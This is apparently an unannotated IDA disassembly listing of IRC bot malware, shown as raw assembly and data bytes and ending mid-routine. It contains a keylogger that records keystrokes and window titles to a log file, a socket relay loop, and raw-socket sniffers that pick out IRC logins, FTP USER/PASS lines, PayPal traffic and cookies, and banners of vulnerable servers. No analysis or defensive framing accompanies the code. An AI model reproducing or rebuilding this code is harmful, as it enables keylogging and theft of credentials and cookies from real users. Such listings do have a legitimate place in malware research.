lea eax, [ebp-504h]
push esi
push eax
push ebx
call ds:dword_4CDC10 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411910
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jz short loc_411910
loc_4118C8: ; CODE XREF: seg000:0041189Aj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call ds:dword_4CDAE4 ; __WSAFDIsSet
test eax, eax
jz loc_411832
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC10 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411910
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jnz loc_411832
loc_411910: ; CODE XREF: seg000:004118AFj
; seg000:004118C6j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_411915 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00403B75o
; seg000:0040BA2Co
dd 87CEC81h, 558B0000h, 33565308h, 0C03357DBh, 0A9B9h
dd 8DF28B00h, 0FFFC8CBDh, 6A4053FFh, 0FFA5F302h, 0FFFE9C85h
dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h
dd 4CDC78h, 0FE83F08Bh, 685675FFh, 190h, 806415FFh, 9D390042h
dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD4E8FFh, 0C483FFFFh
dd 88858D14h, 50FFFFF8h, 390DE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF98DBh, 0E8535959h, 6FE64Ch, 0F0458D78h, 0BF50046Ah
dd 0FFFFh, 5657046Ah, 0DBD815FFh, 458D004Ch, 50046AECh
dd 5657FB6Ah, 0DBD815FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah
dd 234h, 44B08953h, 8D00440Bh, 0E850D445h, 9D88h, 660CC483h
dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4CDBF815h, 45896600h
dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4CDC2415h, 0FFF88300h
dd 88681975h, 0FF000013h, 42806415h, 9C8DFF00h, 0FFFFFFFEh
dd 29E90875h, 8D000003h, 0FFFC9085h, 0A06C68FFh, 0E8500042h
dd 9C62h, 59C33B59h, 75FC4589h, 190684Ch, 15FF0000h, 428064h
dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 0F888858Dh, 0E850FFFFh
dd 381Eh, 0FE98B5FFh, 0ECE8FFFFh, 83FFFF97h, 0E8531CC4h
dd 6FE55Ch, 87D8B49h, 2A09F39h, 840F0000h, 277h, 80BFh
dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h
dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 9C9BE8h, 0CC48300h
dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4CDBE0h
dd 8E0FC085h, 21Bh, 43FDB4A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh
dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh
dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h
dd 4CDBD015h, 0C875FF00h, 0FFF84589h, 4CDC8415h, 458D5000h
dd 1FE850B0h, 3800009Fh, 0FFFF309Dh, 0F5959FFh, 1A485h
dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h
dd 9652E850h, 53530000h, 0E8FC75FFh, 0B885h, 8DFC75FFh
dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh
dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh
dd 9752h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h
dd 0FFFFFA88h, 15FF5650h, 4CDC5Ch, 0FF289D39h, 2375FFFFh
dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7D66h, 8D14C483h, 0FFF88885h
dd 9FE850FFh, 59000036h, 10AE9h, 31BD8000h, 4FFFFFFh, 0E7850Fh
dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh
dd 0C6FFFFFAh, 0FFFA8985h, 0C7503FFh, 0C932C0FEh, 0FA8B9D88h
dd 8EBFFFFh, 8D88C1FEh, 0FFFFFA8Bh, 0FA8A8588h, 0BFFFFFh
dd 0F000002h, 0B60FC0B6h, 8E0C1C9h, 0C153C103h, 0C72B09E0h
dd 0FC75FF50h, 0B794E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
dd 7FE85001h, 83000096h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CDC5C15h
dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 4372D0h
dd 9DB0E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h
dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
dd 0FFFFFC8Ch, 0FF7C75E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
dd 35AEh, 6F005FFh, 0EB59004Dh, 0F475FF16h, 50C4458Dh
dd 68096A53h, 4372C4h, 5C15FF56h, 39004CDCh, 8F0FF85Dh
dd 0FFFFFD7Dh, 56087D8Bh, 0DC9015FFh, 75FF004Ch, 9511E8FCh
dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
dd 0E8FFFFFEh, 0FFFF9533h, 0A5E85359h, 0CB006FE2h, 3E868h
dd 6415FF00h, 57004280h, 0FFFBA8E8h, 5B5E5FFFh, 4C2C9h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D74 proc near ; CODE XREF: seg000:00411F07p
; seg000:0041209Ap
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_428130 ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call near ptr 0B10000h
inc eax
lea eax, [ebp+var_114]
push offset asc_437A94 ; "\\"
push eax
call sub_41C0B0
lea eax, [ebp+var_114]
push offset aWinnt99_bat ; "winnt99.bat"
push eax
call sub_41C0B0
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_41B6B2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411DD9
inc eax
jmp short loc_411E50
; ---------------------------------------------------------------------------
loc_411DD9: ; CODE XREF: sub_411D74+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BFF6
push esi
call sub_41B24B
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_411E4E
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_437A64
push 200h
push eax
call sub_41BB70
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_409966
add esp, 24h
loc_411E4E: ; CODE XREF: sub_411D74+A1j
xor eax, eax
loc_411E50: ; CODE XREF: sub_411D74+63j
pop esi
leave
retn
sub_411D74 endp
; ---------------------------------------------------------------------------
loc_411E53: ; DATA XREF: seg000:00405F13o
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+8]
push ebx
push esi
push edi
and dword ptr [ebp-8DCh], 0
push 25h
and dword ptr [ebp-4], 0
pop ecx
mov esi, eax
lea edi, [ebp-0DCh]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-8D8h]
rep stosd
call ds:dword_4CDB7C ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call ds:dword_4CDB94 ; GetWindowTextA
mov ebx, 200h
loc_411EAE: ; CODE XREF: seg000:0041210Ej
push 8
call ds:dword_428064 ; Sleep
call ds:dword_4CDB7C ; GetForegroundWindow
cmp eax, [ebp-8]
jz short loc_411F36
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
mov [ebp-8], eax
call ds:dword_4CDB94 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
lea eax, [ebp-4DCh]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_41BA76
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_411D74
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_41B780
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_41B780
add esp, 0Ch
loc_411F36: ; CODE XREF: seg000:00411EBFj
mov dword ptr [ebp+8], offset aB_0 ; "b"
loc_411F3D: ; CODE XREF: seg000:00412104j
push 10h
call ds:dword_4CDACC ; GetKeyState
movsx esi, ax
mov eax, [ebp+8]
mov edi, [eax-4]
push edi
call ds:dword_4CDBC4 ; GetAsyncKeyState
test ah, ah
jns short loc_411FD4
push 14h
call ds:dword_4CDACC ; GetKeyState
test ax, ax
jz short loc_411F85
cmp esi, 0FFFFFFFFh
jle short loc_411F85
cmp edi, 40h
jle short loc_411F85
cmp edi, 5Bh
jge short loc_411F85
mov dword ptr [ebp+edi*4-8DCh], 1
jmp loc_4120F9
; ---------------------------------------------------------------------------
loc_411F85: ; CODE XREF: seg000:00411F64j
; seg000:00411F69j ...
push 14h
call ds:dword_4CDACC ; GetKeyState
test ax, ax
jz short loc_411FB0
test esi, esi
jge short loc_411FC4
cmp edi, 40h
jle short loc_411FB0
cmp edi, 5Bh
jge short loc_411FB0
mov dword ptr [ebp+edi*4-8DCh], 2
jmp loc_4120F9
; ---------------------------------------------------------------------------
loc_411FB0: ; CODE XREF: seg000:00411F90j
; seg000:00411F99j ...
test esi, esi
jge short loc_411FC4
mov dword ptr [ebp+edi*4-8DCh], 3
jmp loc_4120F9
; ---------------------------------------------------------------------------
loc_411FC4: ; CODE XREF: seg000:00411F94j
; seg000:00411FB2j
mov dword ptr [ebp+edi*4-8DCh], 4
jmp loc_4120F9
; ---------------------------------------------------------------------------
loc_411FD4: ; CODE XREF: seg000:00411F57j
lea eax, [ebp+edi*4-8DCh]
mov esi, [eax]
test esi, esi
jz loc_4120F9
and dword ptr [eax], 0
lea eax, [ebp-2DCh]
push eax
call sub_41B1D0
cmp edi, 8
pop ecx
jnz short loc_412007
and byte ptr [ebp+eax-2DDh], 0
jmp loc_4120F9
; ---------------------------------------------------------------------------
loc_412007: ; CODE XREF: seg000:00411FF8j
cmp eax, 1B9h
jbe short loc_412033
call ds:dword_4CDB7C ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call ds:dword_4CDB94 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_412074
; ---------------------------------------------------------------------------
loc_412033: ; CODE XREF: seg000:0041200Cj
cmp edi, 0Dh
jnz loc_4120CB
lea eax, [ebp-2DCh]
push eax
call sub_41B1D0
test eax, eax
pop ecx
jz loc_4120F9
call ds:dword_4CDB7C ; GetForegroundWindow
lea ecx, [ebp-48h]
push 3Ch
push ecx
push eax
call ds:dword_4CDB94 ; GetWindowTextA
lea eax, [ebp-48h]
push eax
lea eax, [ebp-2DCh]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_412074: ; CODE XREF: seg000:00412031j
lea eax, [ebp-4DCh]
push eax
call sub_41BA76
sub esp, 84h
lea esi, [ebp-0DCh]
lea eax, [ebp-4DCh]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_411D74
mov [ebp-4], eax
push ebx
lea eax, [ebp-2DCh]
push 0
push eax
call sub_41B780
add esp, 0A4h
lea eax, [ebp-4DCh]
push ebx
push 0
push eax
call sub_41B780
add esp, 0Ch
jmp short loc_4120F9
; ---------------------------------------------------------------------------
loc_4120CB: ; CODE XREF: seg000:00412036j
cmp esi, 1
jz short loc_4120E4
cmp esi, 3
jz short loc_4120E4
cmp esi, 2
jz short loc_4120DF
cmp esi, 4
jnz short loc_4120F9
loc_4120DF: ; CODE XREF: seg000:004120D8j
push dword ptr [ebp+8]
jmp short loc_4120EB
; ---------------------------------------------------------------------------
loc_4120E4: ; CODE XREF: seg000:004120CEj
; seg000:004120D3j
mov eax, [ebp+8]
add eax, 7
push eax
loc_4120EB: ; CODE XREF: seg000:004120E2j
lea eax, [ebp-2DCh]
push eax
call sub_41C0B0
pop ecx
pop ecx
loc_4120F9: ; CODE XREF: seg000:00411F80j
; seg000:00411FABj ...
add dword ptr [ebp+8], 14h
cmp dword ptr [ebp+8], offset dword_437A2C
jl loc_411F3D
cmp dword ptr [ebp-4], 0
jz loc_411EAE
push dword ptr [ebp-0D8h]
call sub_40B287
pop ecx
push 0
call near ptr 0B10000h
icebp
loc_412128: ; DATA XREF: seg000:00405C12o
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41BD10
mov edx, [ebp+8]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp-0B4h]
inc eax
push 10h
rep movsd
mov [ebp-8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp-1Ch]
push esi
push eax
call sub_41B780
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push esi
call ds:dword_4CDBF8 ; htons
push dword ptr [ebp-0B4h]
mov [ebp-1Ah], ax
call sub_40AAF8
pop ecx
push eax
call ds:dword_4CDC38 ; inet_addr
push esi
push 3
push 2
mov [ebp-18h], eax
call ds:dword_4CDC78 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jnz short near ptr loc_4121FC+1
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp-2B4h]
push offset dword_438434
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-28h], esi
jnz short loc_4121E0
push esi
lea eax, [ebp-2B4h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0B4h]
call sub_409966
add esp, 14h
loc_4121E0: ; CODE XREF: seg000:004121BEj
lea eax, [ebp-2B4h]
push eax
call sub_4152AE
push dword ptr [ebp-30h]
call sub_40B287
pop ecx
pop ecx
push esi
call near ptr 0B10000h
loc_4121FC: ; CODE XREF: seg000:0041219Ej
and eax, 6AD0458Bh
adc [ecx-40h], ch
xor al, 2
; ---------------------------------------------------------------------------
dw 0
dd 0B44B889h, 458D0044h, 0FF5750E4h, 4CDC2415h, 0FFF88300h
dd 15FF6475h, 4CDB8Ch, 4C858D50h, 68FFFFFDh, 438408h, 9840E850h
dd 0C4830000h, 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh
dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 0BE8FFFFh, 83FFFF77h
dd 858D14C4h, 0FFFFFD4Ch, 3044E850h, 57590000h, 0DC9015FFh
dd 75FF004Ch, 900DE8D0h, 5659FFFFh, 6FDD7FE8h, 8D56AD00h
dd 5056E045h, 458D5656h, 50046AF8h, 168h, 15FF5798h, 4CDBA4h
dd 75FFF883h, 8C15FF64h, 50004CDBh, 0FD4C858Dh, 0D868FFFFh
dd 50004383h, 97BDE8h, 0CC48300h, 75D87539h, 858D5620h
dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
dd 7688E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2FC1E8h
dd 0FF575900h, 4CDC9015h, 0D075FF00h, 0FF8F8AE8h, 0E85659FFh
dd 6FDCFCh, 0F0BB532Fh, 6800437Ah, 0FFFFh, 0FD4C858Dh
dd 5056FFFEh, 9463E8h, 0CC48300h, 0FD4C858Dh, 6856FFFEh
dd 0FFFFh, 15FF5750h, 4CDC10h, 0FFFF883h, 0F784h, 55BD8000h
dd 6FFFEFDh, 858BC575h, 0FFFEFD58h, 0FD6DBD80h, 8918FFFEh
dd 0B375F445h, 0FD74858Dh, 0CC68FFFEh, 50004383h, 9787E8h
dd 0C0855900h, 8D9C7559h, 0FEFD7485h, 83BC68FFh, 0E8500043h
dd 9770h, 59C08559h, 0FF338575h, 5D89C38Bh, 858D5008h
dd 0FFFEFD74h, 9756E850h, 85590000h, 127559C0h, 8458347h
dd 8458B18h, 7D8BE375h, 0FF59E9FCh, 858DFFFFh, 0FFFEFD74h
dd 60B5FF50h, 0FFFFFEFDh, 4CDB2815h, 0C0B70F00h, 0F475FF50h
dd 0DC8415FFh, 8D50004Ch, 48B7F04h, 437B04C5h, 8534FF00h
dd 437AE0h, 0FD4C858Dh, 8868FFFFh, 68004383h, 200h, 9776E850h
dd 0C4830000h, 0D875391Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh
dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 47E8FFFFh, 83FFFF75h
dd 858D14C4h, 0FFFFFD4Ch, 2E80E850h, 0E9590000h, 0FFFFFF76h
dd 0DB8C15FFh, 6850004Ch, 43835Ch, 0FD4C858Dh, 68FFFFh
dd 50000002h, 971FE8h, 10C48300h, 5BD87539h, 8D562075h
dd 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh, 0FF4CB5FFh
dd 0EFE8FFFFh, 83FFFF74h, 858D14C4h, 0FFFFFD4Ch, 2E28E850h
dd 57590000h, 0DC9015FFh, 75FF004Ch, 8DF1E8D0h, 5659FFFFh
dd 6FDB63E8h
db 0, 99h
; =============== S U B R O U T I N E =======================================
sub_41249E proc near ; CODE XREF: seg000:004129C3p
; seg000:004129EDp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_4D0938, eax
mov eax, offset dword_4D0938
retn
sub_41249E endp
; =============== S U B R O U T I N E =======================================
sub_4124AD proc near ; CODE XREF: seg000:00412A64p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_4124C7
loc_4124C3: ; CODE XREF: sub_4124AD+29j
; sub_4124AD+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124C7: ; CODE XREF: sub_4124AD+14j
push offset aBo ; "#Bo"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4124C3
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4124C3
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4124C3
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_41250F
loc_41250B: ; CODE XREF: sub_4124AD+71j
; sub_4124AD+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41250F: ; CODE XREF: sub_4124AD+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset a366 ; "366 "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset a_login_0 ; ":.login"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset aLogin_1 ; ":!login"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset aLogin_0 ; ":!Login"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset a_login ; ":.Login"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset a_ident ; ":.ident"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41250B
push offset aIdent ; ":!ident"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz loc_41250B
push offset a_hashin ; ":.hashin"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz loc_41250B
push offset aHashin ; ":!hashin"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124AD endp
; =============== S U B R O U T I N E =======================================
sub_4125C4 proc near ; CODE XREF: seg000:loc_412A93p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_4125DE
loc_4125DA: ; CODE XREF: sub_4125C4+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125DE: ; CODE XREF: sub_4125C4+14j
push offset aBo ; "#Bo"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4125DA
push offset aOper_0 ; "OPER "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_412604
loc_412600: ; CODE XREF: sub_4125C4+4Fj
; sub_4125C4+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412604: ; CODE XREF: sub_4125C4+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412600
push offset aOper ; "oper "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412600
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125C4 endp
; =============== S U B R O U T I N E =======================================
sub_41263A proc near ; CODE XREF: seg000:loc_412ABFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_412654
loc_412650: ; CODE XREF: sub_41263A+29j
; sub_41263A+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412654: ; CODE XREF: sub_41263A+14j
push offset aBo ; "#Bo"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412650
push offset aNick_1 ; "NICK "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412650
push offset a220 ; "220 "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_41268B
loc_412687: ; CODE XREF: sub_41263A+60j
; sub_41263A+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41268B: ; CODE XREF: sub_41263A+4Bj
push offset a230 ; "230 "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412687
push offset aUser_3 ; "USER "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412687
push offset aPass_1 ; "PASS "
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_41263A endp
; =============== S U B R O U T I N E =======================================
sub_4126C1 proc near ; CODE XREF: seg000:00412AF2p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_4126DB
loc_4126D7: ; CODE XREF: sub_4126C1+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4126DB: ; CODE XREF: sub_4126C1+14j
push offset aBo ; "#Bo"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4126D7
push offset aPaypal ; "paypal"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_412701
loc_4126FD: ; CODE XREF: sub_4126C1+4Fj
; sub_4126C1+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412701: ; CODE XREF: sub_4126C1+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4126FD
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4126FD
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_4126FD
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4126C1 endp
; =============== S U B R O U T I N E =======================================
sub_412748 proc near ; CODE XREF: seg000:loc_412B5Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_412762
loc_41275E: ; CODE XREF: sub_412748+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412762: ; CODE XREF: sub_412748+14j
push offset aBo ; "#Bo"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_41275E
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_412788
loc_412784: ; CODE XREF: sub_412748+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412788: ; CODE XREF: sub_412748+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jnz short loc_412784
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412748 endp
; ---------------------------------------------------------------------------
loc_4127AD: ; DATA XREF: seg000:00405D60o
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BD10
mov eax, [ebp+8]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp-0B8h]
rep movsd
xor esi, esi
push 3Fh
inc esi
xor ebx, ebx
mov [eax+90h], esi
pop ecx
xor eax, eax
lea edi, [ebp-3B7h]
mov [ebp-3B8h], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp-3B8h]
mov word ptr [ebp-20h], 2
push eax
mov [ebp-1Eh], bx
mov [ebp-1Ch], ebx
call ds:dword_4CDC0C ; gethostname
lea eax, [ebp-3B8h]
push eax
call ds:dword_4CDC7C ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp-8]
push eax
call sub_41C500
mov eax, [ebp-8]
add esp, 0Ch
mov [ebp-1Ch], eax
push ebx
push 3
push 2
call ds:dword_4CDC78 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short loc_412853
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412853: ; CODE XREF: seg000:00412848j
lea eax, [ebp-20h]
push 10h
push eax
push edi
call ds:dword_4CDC24 ; bind
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_4128C8+1
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp-2B8h]
push offset unk_438708
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_4128A5
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_409966
add esp, 14h
loc_4128A5: ; CODE XREF: seg000:00412883j
lea eax, [ebp-2B8h]
push eax
call sub_4152AE
pop ecx
push edi
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-34h]
call sub_40B287
pop ecx
push ebx
call near ptr 0B10000h
loc_4128C8: ; CODE XREF: seg000:00412863j
sub eax, 0DC458D53h
push ebx
push eax
push ebx
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push 98000001h
push edi
mov [ebp-0Ch], esi
call ds:dword_4CDBA4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41294F
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp-2B8h]
push offset unk_4386D8
push eax
call sub_41BA76
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_41292B
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_409966
add esp, 14h
loc_41292B: ; CODE XREF: seg000:00412909j
lea eax, [ebp-2B8h]
push eax
call sub_4152AE
pop ecx
push edi
call ds:dword_4CDC90 ; closesocket
